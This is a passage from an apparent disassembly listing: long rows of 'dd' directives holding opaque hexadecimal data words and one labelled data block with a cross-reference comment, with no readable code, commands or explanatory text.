0E6804F39h, 5BD5C5Ah dd 7E580C2Ch, 84513D12h, 16678C18h, 809138B5h, 0F0131660h dd 2719F060h, 4CC82F89h, 0A9B53401h, 443B7EC7h, 60003723h dd 56F67B34h, 8CE0C95h, 0E2096ADh, 0E22E0F03h, 0D586CCh dd 0BEB57AD9h, 0CD0494ECh, 42613900h, 64BB7284h, 0C41904DDh dd 0F979ED4Eh, 4696B9Ch, 2C8514ACh, 0A66C0808h, 702C09E0h dd 0E8884024h, 8CDCB840h, 0FC1489C1h, 31D1670Fh, 6410A9AFh dd 0FD0065D7h, 70F6E625h, 6B9F30Eh, 2055FFCBh, 915EA1D8h dd 1888E884h, 88044026h, 92210D60h, 7448570h, 3E15E9D0h dd 8F8092E6h, 1EBD861h, 0EC60E217h, 0A4A4BFF1h, 9980C16Ch dd 0DC3B6F76h, 7E03FA23h, 0D020D970h, 5FE902B3h, 0E68C844h dd 64172D00h, 0BA7D04B5h, 0D1009178h, 191838h, 96B20A14h dd 5974E788h, 817C9548h, 0FB51097h, 0F724C46Ch, 53303E98h dd 2D22F120h, 2550EB59h, 51246248h, 18F979B4h, 0B23B2C5Ch dd 0F2DA16F6h, 0D4A60084h, 15E5DB50h, 7166141Ah, 9504BCFDh dd 0BC298C12h, 18019E64h, 0CE56DAE6h, 0F268A205h, 0C9B830DAh dd 3BF0B65Ah, 0B551F68Eh, 0A5DC18AEh, 882E9404h, 1400EFE8h dd 0A5B960D5h, 3D80225Fh, 47BF65B2h, 98849918h, 14581BFBh dd 500C2404h, 0B64AF111h, 6206E084h, 0C2A500BEh, 1F78C45h dd 68B6102Dh, 0E0F9FD02h, 0AA908437h, 0F278F312h, 283A305Fh dd 6A258703h, 0A2412B9Eh, 190F431h, 402D7EB7h, 20422A77h dd 7A50EF6h, 7EE85CFCh, 56809686h, 2D01D846h, 2E18A21Ah dd 0EDF9DC17h, 0A322F09h, 9BD406FEh, 79282690h, 0CE62480h dd 8880068Eh, 3C10C529h, 0F318DED1h, 880219E8h, 45B7F156h dd 77C6487h, 298D43ECh, 25F210A8h, 6D00BE10h, 60D651EDh dd 0B57117Fh, 0DE2AEA7Ah, 0C10EB805h, 12033050h, 15D4401Bh dd 0E4019DCFh, 7EEEE656h, 9889046h, 2DC02A9h, 8A5FF28h dd 1F89207Eh, 0C48CE50Eh, 0CD0A6038h, 17363975h, 0C18C8D89h dd 43E87458h, 385EE12h dd 0A3F298E2h, 985BDF30h, 2D5255Ch, 15C31C68h, 20B574B8h dd 0B5CAA368h, 8C8095D7h, 987A3BF3h, 0E6B3EF00h, 0CD9FDD0Eh dd 8EE704A9h, 0BB697E36h, 0FA21C20h, 0DB390092h, 35FFEC65h dd 9E057E1Dh, 45337C0h, 0EF800CACh, 7AA1DB4Eh, 0CD72FF00h dd 8CB4AFDFh, 9ED60C84h, 1728BA08h, 9BB01095h, 9D470070h dd 0B2BFB03Ah, 54002514h, 0A21DD0CAh, 0B0A345ACh, 22D0925h dd 0B07413B1h, 0FC8E05DEh, 9311B568h, 64E98484h, 84076E19h dd 0D7CF22E3h, 208DF0F0h, 770B30F9h, 0C8F2E0C3h, 7CC86B20h dd 782848D2h, 0A01DE412h, 8630E540h, 3FD95874h, 63EB00F7h dd 0A94926EEh, 2F5C4D53h, 0E6FD0316h, 1C8555C2h, 30796451h dd 0F6E14368h, 0E73B711Ch, 0EB03B9B0h, 0CA0402B8h, 0D467B592h dd 98778C0Fh, 80497423h, 0F62D3C8Eh, 7E8496Ah, 836B27F5h dd 29C3E6E0h, 0B01018ECh, 9FD17A13h, 6C8E3898h, 849F052Ah dd 0C6C0C218h, 40DC4459h, 45FE3BA4h, 2F1CE95Dh, 60DC4FF0h dd 0A4F4AEB5h, 0BD68AC08h, 9E8A4F7h, 0F4E86B88h, 1497EB07h dd 2C67145Ch, 5C085C0Ah, 88204059h, 5C5D920h, 477B943Eh dd 0B79C04EEh, 0C00452ECh, 0F10E8F81h, 0B9F4FDE4h, 0A5F913C4h dd 2B10C0A2h, 0ED69126Ah, 160498EDh, 0A85B4841h, 101784D4h dd 0DD689400h, 0C8B2D8F6h, 6B9A50C4h, 5318C0E2h, 67BD5179h dd 0B2CE940h, 60D11289h, 281F70FBh, 0B0C78813h, 5889BD24h dd 92A4D4EEh, 7580006Ch, 4D0B8445h, 1BE7B209h, 0A1C482C4h dd 3F485FEh, 52C8308Bh, 0F0104BC0h, 0E447A74h, 0AC3C8CF8h dd 1167C838h, 9920BCACh, 0B8B1B5A1h, 0C432FE6h, 0D088978h dd 2653F731h, 0F02C8138h, 0D1AC58A9h, 2D233DD0h, 9CCBA4ADh dd 0FE06B2D8h, 0E4091F1h, 161E22Ch, 3C1B80BCh, 604BF179h dd 6A26A8E4h, 8947B813h, 0E440906Ah, 1C5245Eh, 0E3653EF3h dd 0D5B7276Ah, 0ACD9D692h, 7D42BC00h, 22695E4h, 0CA5C5ABDh dd 0A485F812h, 6432BA96h, 71E0F188h, 1E18F5h, 561121A4h dd 42B0F0F6h, 246BC004h, 28C8FAE1h, 0A458516Eh, 5CBC6068h dd 82B95B8Ch, 0A0569580h, 89271E87h, 0B8B8E179h, 74BC58A6h dd 0D928D746h, 305D2DF4h, 35BF1CC6h, 6EE00BCh, 0D7C60AFDh dd 959B9003h, 0B4FAFBB4h, 375408BEh, 408894h, 753B6F2Ch dd 14BFCBh, 4A8EC757h, 670181AFh, 0A6D0E80Ah, 7017D043h dd 0A263FC87h, 1AB8E138h, 0B5F459F0h, 0D5EBD400h, 2E80F0A6h dd 13965E39h, 0ABB008D4h, 69047593h, 2CE9C8F7h, 14138DC0h dd 662612FEh, 0D241406Bh, 0E0735219h, 0E03361A2h, 170B210h dd 592797D2h, 26C5254h, 0A24882F8h, 41145E90h, 4412BFBDh dd 23A4F160h, 30F9B2BCh, 461EE5C9h, 44E43CD8h, 16F6C108h dd 158D050Eh, 8CC041C6h, 244D0574h, 35FAAF0h, 0DEC85CCBh dd 7ED33FC0h, 0C80E4B87h, 0AE3A7830h, 0AA0D8061h, 1AD167C7h dd 60E55805h, 70DCC101h, 2B7BD2CFh, 0B0994C8Ch, 1DA1D7Fh dd 0AC43526Bh, 9EF002B0h, 0C0908092h, 8096A110h, 305ADAF1h dd 0A4CC74C4h, 5DA8766Bh, 682288FCh, 0C8750627h, 0F097EBE4h dd 10ED25E7h, 0BC3930A1h, 0E265033Bh, 0F8E87095h, 0C1445E59h dd 79E4E778h, 2088253Ch, 97B69A4Ch, 1FD87F33h, 0D6FCEF22h dd 3EFD004Ch, 0C430706Ch, 515Fh, 0C15574F9h, 0D3392646h dd 49211A0h, 7113D5D7h, 4C1113C1h, 23002F2Bh, 0EB970738h dd 0A948D049h, 255D54ECh, 0F0AB0078h, 0CC8A90F8h, 4CAE3CC1h dd 9564B409h, 79C034C1h, 25CC4C5Ch, 896CC320h, 846D8F4Eh dd 3BC14078h, 64441045h, 9EDC64D8h, 0F6885088h, 54053491h dd 0C073ABEDh, 2E412766h, 0C991A403h, 92093850h, 0F99670B6h dd 603A890Fh, 29548E5Ch, 1948C746h, 0E8675987h, 0E960DDC4h dd 9E0CFDDCh, 0E8B92DFCh, 31C54F49h, 0A5CC8820h, 7B5CE4F1h dd 600D06D6h, 0F00E7641h, 1DCB252Dh, 80399100h, 31EB173Eh dd 0A802BD94h, 7084AB91h, 858E4F96h, 0A02292F1h, 52540409h dd 3DF2DCA2h, 1B69730h, 863F64DCh, 0D1F2C366h, 32718CD6h dd 75FE2C4h, 63316AB3h, 2BA2E0F5h, 0FA04CA3Dh, 1591765Ah dd 42C0A097h, 12102036h, 0D0B2132Bh, 378F0A70h, 4050EC2Fh dd 84040C3Ch, 465648BEh, 0C4F701A3h, 5EE5E8FFh, 0E12C172Fh dd 8CBCE89Ch, 602D5C2Eh, 80A1488Fh, 3411C537h, 0E7A931EFh dd 40F520h, 21A2D0Eh, 2CE5BECEh, 90F17644h, 0BB18DFD9h dd 59574F02h, 91EC258Eh, 0E99F27CCh, 0BC5A672Eh, 18D02FFBh dd 0E0D6B560h, 5A75F51h, 40128844h, 8409FFBCh, 8507E55Bh dd 0A093DB59h, 0EB2BD5B1h, 8000D4FEh, 0CE05888Eh, 4B00A545h dd 0BA1F5308h, 121AE5B3h, 0AC9A1837h, 0E71418C4h, 1690A959h dd 8888F2AAh, 2D5A6760h, 0C5C444C9h, 48FB8346h, 18F16931h dd 19009335h, 4895892Dh, 1BDC900h, 6EA50357h, 6E082492h dd 7847CC40h, 1D651310h, 40066735h, 1988344h, 0D8B14115h dd 0E5148030h, 57A1C510h, 2DF50908h, 0C077FC10h, 27EF5239h dd 1E50A089h, 32B27D6h, 0B23B2861h, 0E8D83F7Ah, 0E600DAAEh dd 0DCC4B723h, 1EFC8E87h, 0CB93FD13h, 0B819A7E7h, 0C043100Fh dd 2EAE5F20h, 0DF23DCh, 0E99C6270h, 6001A27Ah, 4B83D668h dd 0E4488772h, 86E00F1h, 490D4E1Ch, 66049D1Bh, 0CDA6FD54h dd 0C825A4A3h, 0DF79E851h, 0FD2C2B18h, 940125B3h, 1A854810h dd 2704DEEAh, 0DBD09061h, 0BFE6CFD0h, 2C47248h, 0E1B4C378h dd 1D5525h, 0E180DA11h, 0EFE66E06h, 0C5648E12h, 96E30CC0h dd 887BF1A5h, 3E17F300h, 0FC12F5F4h, 8E8058F8h, 8F641028h dd 0BFF05700h, 40B84AF2h, 34CC4808h, 0B365510h, 0E0BD2C51h dd 205CB6E8h, 204C3401h, 0DD640890h, 0BAF1068Fh, 2B5D174h dd 18D17A5Ch, 14B99023h, 3D0251B0h, 0E3414AD8h, 3061B288h dd 0D207F70Fh, 87A3E9B6h, 1C80A07Ah, 0E45066B9h, 469500B4h dd 0D93525CDh, 0DE171669h, 2822E63Ah, 0AC28DC7Ch, 0A98C8C68h dd 0D23167A9h, 0E697C81Dh, 8F44F30Ch, 0EC39212Ah, 67368009h dd 60556428h, 377017h, 0A8D77548h, 0D92D6EECh, 0D4B1BF4Fh dd 5CEC5C68h, 0E0F25C8Ch, 81081277h, 0A03CA78Fh, 3AFBBEF2h dd 0AF25170Fh, 49DE30C0h, 469E394Ch, 0BCF24BE4h, 4D6EA100h dd 0DDFCC1FAh, 4B0047BEh, 1684D298h, 0AC3B54BEh, 3C601246h dd 730AD67h, 91BDB17Ch, 90DCA039h, 83434C40h, 0DE92D590h dd 5BF238CBh, 0C107700Ch, 278EED03h, 959CC89h, 0A142B379h dd 15F2F8E1h, 929E0808h, 22E8021Bh, 78728713h, 0C77E7400h dd 6EA98A52h, 84701Dh, 0CDE65B8h, 2C88EA25h, 81604F69h dd 0F305240Dh, 542B1820h, 0C6EEC11h, 0AB6742FEh, 0A502CB80h dd 5076DD0Eh, 28C4A2E3h, 8C107766h, 0F8032B9Eh, 733E5DD4h dd 0A125D8C4h, 9F6704B4h, 0B36A9BFEh, 0E8007EE8h, 1FC2682Fh dd 145E3CFh, 502E01F2h, 0DBA10A4Ch, 0AE5D4ACAh, 0B5A343A4h dd 9442E819h, 2CEF18A2h, 0C9E5790Eh, 2374577Dh, 9DA4C512h dd 0AD00C0B2h, 0E07ECEDAh, 9B733F0Bh, 0F028FC00h, 7477831Eh dd 136E0129h, 5039926Bh, 6988414Ah, 1075EED5h, 83410B38h dd 19163E9h, 50C8FC35h, 0FE710046h, 0CD4520Eh, 3B4E7975h dd 543098F5h, 58EB4C0Fh, 9413110h, 6B3C71E3h, 57929040h dd 56E809BAh, 44C84128h, 0C8A1799Fh, 0EA9E01DCh, 0BF24C27Bh dd 11401D2Bh, 60EE80F9h, 0B2A6793h, 0FCC2F1A7h, 0D8452CFAh dd 0D0B56045h, 0C0C88804h dd 13672E9Ch, 3A844300h, 0B5E37DD8h, 102B122Dh, 1DB2AC58h dd 0A5C00Eh, 407482C5h, 0F4900827h, 3F2073E9h, 23EA05Ch dd 5490FA28h, 22556465h, 19A861Ch, 804B593Bh, 40A7CA34h dd 2B1260Ah, 807CCC69h, 806E9BF2h, 2AB07750h, 8E7312Ch dd 0B4A22893h, 1863AE25h, 4BD11DEh, 171E698Ch, 0ADC4B0FCh dd 7466AA4Bh, 0C27C5E38h, 0D0A28E4Ch, 48DEFC11h, 396AEF08h dd 0AD12049Dh, 0E4EECC09h, 94A91728h, 0AB9F2AF4h, 0D8700648h dd 0FD101681h, 12B8D840h, 5082EFF4h, 0A4D8A0F4h, 0D093826Bh dd 8215BDB9h, 5C712E71h, 0C3E45C5Bh, 0BA1ACAAh, 8204B79h dd 89D50ACDh, 4043D439h, 0D723C5E0h, 4313809Ah, 20B0644Fh dd 5494411h, 0C2135Eh, 840F3F3h, 0AB51C5D9h, 120ECF30h dd 0ACA01AC2h, 7BD5808Ch, 2A0420h, 6D41A2AAh, 4B29BCA5h dd 2188C800h, 4224AF34h, 98DD4BD8h, 8E016300h, 95F91A09h dd 0CD4E39Bh, 8DB803C3h, 102FD606h, 96FD15B8h, 0E428B718h dd 7B4C0B20h, 5F670046h, 0E3C52E11h, 0A574D27Fh, 5A96D50Ch dd 3839962h, 2732FA95h, 0FFC00215h, 12009F97h, 0CDCAF8B0h dd 78D163h, 0A1CEE438h, 4CF717B7h, 9100A798h, 0C9E7663Eh dd 1DB96AE8h, 6DF03787h, 0A5D9871h, 7D07458h, 4F26BBB1h dd 0BE08198Ch, 0F7185763h, 1F081078h, 0BF651861h, 0C4249120h dd 4D99F08h, 0A104FD9Ah, 511506FFh, 1ED52030h, 24402F1Fh dd 18483139h, 0CE010D0Bh, 9E0888F5h, 54630C15h, 0BE406B20h dd 105562A2h, 6E03DDE4h, 9B0818EEh, 6757185Dh, 16638C9Ah dd 19186218h, 91078708h, 9B209892h, 0CC8B2F59h, 0B5395D08h dd 0E144F440h, 91338803h, 0FC8C19D2h, 6CA5E04h, 20386CF0h dd 7B330A91h, 10E01050h, 3DE66279h, 0CB08E233h, 8CD3032Dh dd 0C6562810h, 883E507Fh, 82A0A8DAh, 0D4E58038h, 0C4010A80h dd 61D0708h, 63B94F31h, 1FEE10F7h, 4D10810h, 1011CE10h dd 0C218DCBDh, 5EC8305Ch, 64E708C4h, 4B71C30Ch, 0A8109162h dd 0ECC8A458h, 4347704h, 0BF06C990h, 0DF5408E4h, 5263E2D8h dd 2A422130h, 31B43BC0h, 0AB08DABEh, 8820925Bh, 0E401084Ah dd 8238B8Ch, 840C403Dh, 0A8C71A40h, 0A92E0AE8h, 0C01F19Ch dd 2ADD03DFh, 209C7221h, 0B82041ECh, 0E07620E5h, 49318520h dd 0D02A3046h, 66C320F8h, 45297E62h, 115206C5h, 0B2218D62h dd 6159061Ch, 20EB5820h, 0C92413AEh, 3A904463h, 105A3818h dd 0C1813390h, 75B88C51h, 0C64CA824h, 20E11708h, 84108F2Ah dd 0F184E62h, 4EE90502h, 191012B0h, 4808095Dh, 4943D452h dd 9880720h, 3B0C286Bh, 40604879h, 88926D1Eh, 101BD631h dd 0BD015CE7h, 10B403EAh, 180FFDD9h, 94204906h, 5118CC46h dd 0B4A978B9h, 7EE42479h, 40DA6840h, 0F049FEEDh, 314D20F0h dd 0DD086911h, 70C00160h, 8448CC02h, 10C473B0h, 0B09F4AFh dd 816CE426h, 10E29C31h, 3535A3h, 59B2E188h, 26BCE715h dd 49922811h, 220B6849h, 0A4FE8FC8h, 0EB04DA9Ch, 7771061Dh dd 0F2442028h, 34325520h, 5DD9E9B6h, 18C1D0FCh, 0CC08DE5Ch dd 0A118CA8Dh, 297188B8h, 943CF30Ah, 0A3E4D43Bh, 88747912h dd 0BA290B4h, 82ED8790h, 814BA027h, 0A48075AFh, 0C9071F10h dd 0E2D095FDh, 25EF68F1h, 7480CF58h, 0D2049383h, 0CC4FE707h dd 0FBB0B1EAh, 0F533FC6Ah, 0EA9596D0h, 3B794458h, 0E6F3D007h dd 7C4061C9h, 0FEFCC7Fh, 96794F3Eh, 12871EE1h, 0C9B074B5h dd 39BC5895h, 848092E5h, 56F276FCh, 0D2001E7Dh, 0F085B438h dd 4A82FD04h, 2B1CB1E3h, 807C4BC7h, 0A1B03008h, 0F284B578h dd 0EF67600h, 874349F9h, 0C1A000A3h, 85EF158Eh, 6A005047h dd 68943564h, 9F248799h, 8C9FEC87h, 4BCAB18h, 6271B980h dd 0D3D16DFh, 1D089C34h, 1517E0FAh, 0F111300Ch, 40F4804Bh dd 0E80EEBC5h, 20348F07h, 8793FE9Fh, 4E9D6ECh, 1CF5DB24h dd 6633197Eh, 80418E18h, 74724810h, 94CE0171h, 271EBDA5h dd 8480D62Ah, 0FBCFA8B5h, 0C95C2C73h, 0F19F02F8h, 724E8588h dd 0E8F92540h, 0D98AE0A0h, 0A97CFD4Ch, 58874912h, 8D3C880h dd 30616089h, 90E7ABF1h, 0A891844Fh, 1AECC028h, 0BB6B00DEh dd 0F6425CA0h, 0D00C5444h, 69551008h, 2C3E84D3h, 0A1906131h dd 13E0ACBDh, 7F1C90CCh, 981B289Ch, 0FFD71DD8h, 0ECF100E6h dd 5C931322h, 955DDA05h, 0E7001E04h, 0FE6CDCBEh, 2FC0A408h dd 280FB609h, 0A10B2E26h, 80F1E039h, 0CFC53AD8h, 14E083Dh dd 69074370h, 68AA87ABh, 959D3E28h, 65CC2EF7h, 94210DB0h dd 2C08D729h, 0B0CA9833h, 0E07960AEh, 2950E793h, 0C8CCA000h dd 322C3444h, 0A220CE4Bh, 0D8BAF666h, 11461601h, 0B9E7A3EFh dd 0C1C401FCh, 0D487A218h, 2A5988E3h, 3BF10964h, 18041803h dd 0D4506896h, 52508444h, 28C0EF50h, 88BEBB9h, 34C9069h dd 8729308Ch, 30007FF3h, 9254B6E4h, 913F1B8h, 0EA2E8CF9h dd 20860019h, 0BF02460Ch, 0E75C49F1h, 84C48C2h, 392003Eh dd 0FDD2EA17h, 9B09BFB3h, 0EE40905h, 89F1C368h, 4804B585h dd 6C82E9EBh, 8EC083Ch, 4401C91Eh, 66FF035h, 0D20166B8h dd 87AE681Fh, 0FD42CF6h, 0F1438B4h, 0EC10586Dh, 99F036h dd 8F7F9023h, 47814937h, 0F8B6FD3Fh, 1058C367h, 938810B9h dd 8A9424ADh, 14512494h, 79144C57h, 6010F4E6h, 125C50DEh dd 0D9EC6117h, 0A1133B0Fh, 871B9DA1h, 5094E0E1h, 90C2C41h dd 8B4943F4h, 0D7C72D14h, 7FA600D8h, 6D9DE7A4h, 0FF4B02C6h dd 6A334715h, 51868080h, 3217106Ch, 571D0F7Bh, 4A54AE9Dh dd 0F99D0908h, 751C7A81h, 4F392499h, 0A14A800h, 300FA03Bh dd 6C690044h, 0F43F9535h, 5B2F8612h, 0CF1B4C52h, 44ADB220h dd 0FF5BB0D0h, 0C042209Dh, 0E8D70D5Dh, 2090F173h, 2A5AEF00h dd 0C8DB9EBh, 0E98B0191h, 0CF3AA5D7h, 8C8A3026h, 70D08000h dd 377C08A9h, 10DC01FEh, 0D6794BA0h, 0F98EE412h, 8C634C01h dd 92B5822Bh, 4028C842h, 3A271A34h, 0CF99EFEh, 9034062Dh dd 0B502B9A0h, 1066DE0Ch, 6CEA8125h, 2EC9D0Bh, 6E7601FDh dd 18082C48h, 5B84504Ah, 9F3E68E7h, 15091966h, 84478F48h dd 28C8D183h, 127CAC59h, 26BA9766h, 3D282988h, 0C5009058h dd 7ECDA6E5h, 9098179h, 7A677165h, 0C202DCA0h, 8424FB4Ch dd 10411C51h, 0D99D99F1h, 0F4AFBDD8h, 0EFCD3C40h, 2A317E78h dd 8E9410CCh, 0F363AE8h, 2D454DECh, 0FA4ABF80h, 3300DA42h dd 200C73B2h, 1D8651A9h, 0C5EDB1Dh, 85C43E5Fh, 0CAE548h dd 0B42B47BFh, 302D9979h, 11E027E6h, 8648FB83h, 0DF4612FCh dd 63CA109h, 20E054D4h, 0A6734E64h, 907AFF30h, 3208FD90h dd 50C8F47Fh, 20AB8040h, 2F1B483Eh, 7F708002h, 61F52CE3h dd 5CC36817h, 0F7FC2035h, 0B720B867h, 62E510D0h, 12B6E090h dd 1F8F8B51h, 2044ACB0h, 0C0A226A4h, 0E4908A8h, 60C4031h dd 78715C30h, 7D90007Ch, 363E79DDh, 6A242E8Fh, 88419044h dd 38809EB7h, 9A7F4296h, 0FF320817h, 90B68031h, 0C3390ECh dd 0DB2191B3h, 3D3D5FE0h, 0CE080064h, 2CFEA868h, 0C8C664E4h dd 4C0088A6h, 0CA027E80h, 8A986B18h, 0A7AC0FCDh, 42CA4h dd 0DF706A36h, 87200CBAh, 8398928Fh, 762A523Ch, 3003B5Ch dd 107B3C94h, 89F00C31h, 8F79ED2Dh, 98C1A0AAh, 2AB98B96h dd 1F4090C0h, 5F340445h, 0C09CE208h, 9AAF6EACh, 46F3B204h dd 58846A4Ah, 41638C40h dd 1C0BF59h, 0F27FC836h, 20E4FE04h, 78909288h, 3A66AB18h dd 694F0978h, 309270F2h, 6CB0206Ah, 0CD699788h, 170094D0h dd 0B569C62Ch, 8683098h, 94C2F626h, 6C9DA8Fh, 1F10B705h dd 4084F213h, 0BA9D4075h, 0B450A291h, 2C13F7C8h, 8C1EDCE9h dd 886114EEh, 9C404557h, 261E2F8Ch, 66683C5Fh, 0A41038A5h dd 0AD0190BFh, 170DD35Ah, 0B3A2C08Fh, 72EDF51Ch, 3F70E07h dd 0B0076135h, 0FA70C7ABh, 5C204732h, 44CB4BAh, 0E0911D12h dd 9278FC34h, 0E82E4C1Eh, 9167B03Dh, 0F8C1B6FEh, 93B75040h dd 6AE72444h, 0DAA90014h, 3A2CBCB0h, 3902269h, 0A20FA14Ch dd 1E4E432h, 0E053E743h, 97D82238h, 5C409358h, 32B7DAE9h dd 131B058Ch, 5FB1AE87h, 654C41B8h, 4CB9909Ch, 64E3858Ch dd 6D5D09C0h, 0DD1B00A8h, 3B4FD4C9h, 104D0042h, 8F90CABAh dd 780B0B50h, 0C2C6014h, 949EA001h, 7BADC324h, 9CD8CCADh dd 0A2BAB501h, 30CF1392h, 0D2EC30h, 52A1C950h, 0AB632C84h dd 0EFE82A01h, 0F01EFB9Ah, 7569BD0h, 33888C62h, 8A37042h dd 1C94B797h, 28A284E4h, 565BEF17h, 93A00944h, 246C5008h dd 502E9Ch, 96F2B79Eh, 0F3B248Ch, 0D095D033h, 4C76102Ch dd 286D030Ah, 83CC4314h, 0A582Ch, 2980C1F0h, 3F9FFEFBh dd 76C0FA05h, 0D8920787h, 0CB48C28Ch, 0F380B974h, 0B8331074h dd 0B6FA24A3h, 0E7D404CCh, 91D687A5h, 81B26208h, 99BEB370h dd 402E6E32h, 310571BCh, 2D2E8854h, 5C800814h, 0E8E9E365h dd 7614B082h, 0BA951E07h, 0E0C60830h, 0D98E6504h, 0FEBA90C9h dd 3F3BB101h, 80C4FC2Ch, 0F88B3EC8h, 2B299DAh, 2AADE452h dd 6852460Fh, 1D0182E4h, 873C8DD2h, 0B852E124h, 0CEEB1050h dd 3464FCA1h, 28F5ACD8h, 0A61F7C14h, 9CCCC37Eh, 90B420C2h dd 0F8881840h, 982E49AFh, 9A0C6118h, 2F794A0h, 7BB83467h dd 0E35D556Ch, 25FAD824h, 0B237F882h, 6026EF80h, 26451012h dd 2C1789E4h, 0C45252D0h, 170C001Eh, 76AEF03Eh, 0CA0D6F7h dd 0FC400CF3h, 0BD589403h, 0E1A12C56h, 0D848A5C5h, 0D0A1D41h dd 0F8785E2h, 0B408044Bh, 0F2F0881Fh, 2939148Ch, 0E510FCD3h dd 0B4F7005Bh, 138DF952h, 0A64D03FAh, 98104FECh, 1888690Ch dd 9EC0FDh, 970A9AFBh, 2D104542h, 41FB937Ch, 0D986F6B8h dd 39C5099h, 530612B9h, 0C88F10CDh, 7FF83049h, 61742C21h dd 2DF06000h, 9032310Fh, 0C8DF2C7Ah, 0FA9D1DE0h, 6094670Ah dd 84604DEh, 0E60E815h, 329DE351h, 178EA08Ch, 87A84CF1h dd 70B82EF0h, 11485909h, 4D0DDE78h, 880011C0h, 0E0569A60h dd 0C1BF0350h, 5FFB0F2Fh, 68A62398h, 0F6878118h, 2608A141h dd 0A618A5AFh, 0A4F82D50h, 9B16F0A4h, 0C031B29Fh, 0AEECB753h dd 6B4BA0Eh, 0C182328Ch, 0D80110FCh, 186ECA3Ah, 0A860BCF1h dd 6CE0C8DAh, 0C8CB800h, 543A91A0h, 245F4C6h, 8643BE55h dd 48E4E008h, 492D7708h, 8FAE0439h, 88A3A2h, 602A108Eh dd 7857E1F8h, 43A90055h, 22836E2Bh, 710BAE95h, 14D3D92Dh dd 0C0449244h, 7CF8EB06h, 6A02B912h, 88067F5h, 1F7068A0h dd 8991EE87h, 51EB084Ch, 5C61CCD2h, 3374034h, 0F1DEC0Ch dd 78989B2Fh, 0E1F9107Eh, 10084447h, 600414F8h, 0E96E358Ch dd 2C0972F8h, 0C093EF11h, 80B50208h, 818FCC4h, 2128FD40h dd 49967860h, 6C591442h, 12F8868Ah, 10844F95h, 1758F28Ah dd 900009E3h, 104B8C44h, 18C22434h, 40088F42h, 22BECCABh dd 1288154Ah, 4B1080A4h, 11170477h, 7891CA99h, 0A10687Dh dd 2A79092Ch, 8F8DB93Bh, 80559CFFh, 502B0652h, 0C39115D1h dd 2F00F89Fh, 0E9CF4A9Eh, 42BDC408h, 89786024h, 13AF78B1h dd 0D1F9812Dh, 7799608h, 0EC043155h, 64D18EE6h, 9C665F03h dd 0B3F1E000h, 7097AE62h, 1226D000h, 7B30DB1Dh, 2CFB128Dh dd 81708551h, 949AC958h, 0CA804791h, 2A469483h, 0D2D9F750h dd 8A4C2880h, 2CF09E3Bh, 0CB64533Eh, 4B103861h, 0D1841438h dd 8BF90457h, 628CECB4h, 0EE50B8C1h, 9892F4FAh, 0F151F760h dd 950CFEA8h, 0C68B6CC0h, 2579580h, 0DCD363Ah, 7889E67Fh dd 88B67080h, 1A09C998h, 98945308h, 6CD900h, 44312999h dd 1C9A6F2Dh, 5EB69B00h, 0F8F7AB75h, 0FC7F0142h, 2708BAC9h dd 0C31C2895h, 21048191h, 183205D9h, 0F05844h, 97A3B809h dd 8F20A160h, 6CA86267h, 79AF98D0h, 0E18E2DE3h, 30805432h dd 0F13A590h, 0DC298710h, 14188B0Fh, 0F861251Ch, 0FCCAC6A2h dd 8729F061h, 179913E8h, 42F99480h, 0AF23075Dh, 0E0731038h dd 3F1434B4h, 7401314Ah, 0FB4808A0h, 4CB7D087h, 0F025076h dd 5F055953h, 8750A02Ch, 70D24C82h, 1FD139E0h, 0BF0E6200h dd 25068435h, 232AC600h, 5D2D9742h, 731C9033h, 0BC1710Dh dd 9BD379B9h, 320F5880h, 30041F3Bh, 3550089Ch, 0A8174D0h dd 968F0456h, 0AC5B7F2Ch, 83EC5C48h, 1C38788h, 1437ECF0h dd 20820266h, 2A302CE4h, 0A7967001h, 6746F0D5h, 0B245A8CEh dd 0C082D0D6h, 0FC60FAF3h, 0AB302CBDh, 8496607Dh, 5CEB794Fh dd 0BF241821h, 0ABFA6008h, 0A10E5F46h, 0F6FD08F0h, 4015308Ch dd 0A03B102Eh, 9C40DADBh, 0D9BDD729h, 2D0613A3h, 9F60B0D0h dd 83C9B739h, 7D8707B8h, 406800D7h, 0BAA85C84h, 0B8909010h dd 0B4806B4Eh, 68275Bh, 78499DCAh, 6E10C9Fh, 45F35202h dd 408456BCh, 159D44EBh, 40A66F10h, 8100B33Eh, 26CF1788h dd 0EC00F90Dh, 0A4DD57Ch, 7FEA22FBh, 9DC7484h, 70C72D1Fh dd 0BBE480E8h, 10667600h, 0C60BC49h dword_4E414C dd 90C804CFh, 0A0F1F02Dh, 0B016C950h, 0EC436B87h, 7C4F2Ch ; DATA XREF: ___:off_43A1B8o dd 0D21EA340h, 5FFDBB67h, 0E4028C12h, 501D4813h, 87200C20h dd 9A3898DCh, 0F8F6813h, 0AFA20037h, 0BDFC5994h, 0D8A43D99h dd 0C42C3CFCh, 0C0B2D2F9h, 0F4FD9D14h, 0F1761100h, 2DEF089Ah dd 0C479CCA1h, 1C48ABACh, 5C69030Ch, 0B0FA3D35h, 3108A267h dd 1750C9C7h, 0F4D1C593h, 0F8592CFFh, 0D86726A0h, 1D019708h dd 8C2B00ACh, 42B10905h, 0B4B338C0h, 985725D8h, 0F61E7AD0h dd 2FCB0BDh, 53096C39h, 1A021640h, 8065040Fh, 0ABDDB3D4h dd 0D04CD200h, 0D4F90C2Eh, 96310242h, 3CEC2D92h, 0B881505Ah dd 0F2473A0h, 0E0DF974Ch, 6E26043Ch, 2DD51265h, 0CBDC9255h dd 8EF39C68h, 76D91141h, 19D00005h, 6A29A5D5h, 0BAA39B00h dd 724399F9h, 0E5800589h, 0D3A71705h, 18CD298h, 77ED7B92h dd 64FF42Ch, 0A03DD508h, 0D809C35Bh, 16D8DC7Dh, 703897BAh dd 12323E65h, 50CC9C01h, 802CAA8Bh, 93780B2Eh, 0BB594A5h dd 1420D48Ch, 0AA09A813h, 51B0F000h, 42C4D80Bh, 0A4343C46h dd 5796790Ah, 0E1893B08h, 1878622Ch, 0F728AE17h, 40577430h dd 0E36C04ACh, 95964210h, 9160038Ch, 8AC57FF7h, 0ABC862E8h dd 25A05839h, 2070B309h, 2D0F1717h, 40DA9488h, 8A29F83Bh dd 950A8838h, 510080E2h, 4DB4AE90h, 0C8433291h, 8F113169h dd 84689F01h, 2D98AB38h, 48824C95h, 685A2B84h, 0FC9448B0h dd 5394983Ah, 4C7C7918h, 104C608Fh, 785C2C43h, 5B3BFC43h dd 47E90342h, 0E0F9D3ABh, 476A515h, 21DA2C49h, 0A5CF290h dd 0A4A1D3ADh, 9F00861h, 6F033472h, 844E91F4h, 0E334E5D4h dd 0E84FA0DBh, 604FAC2Ch, 92FC6016h, 95171D9Ah, 280AC4B9h dd 0E4A6BC54h, 59AD9803h, 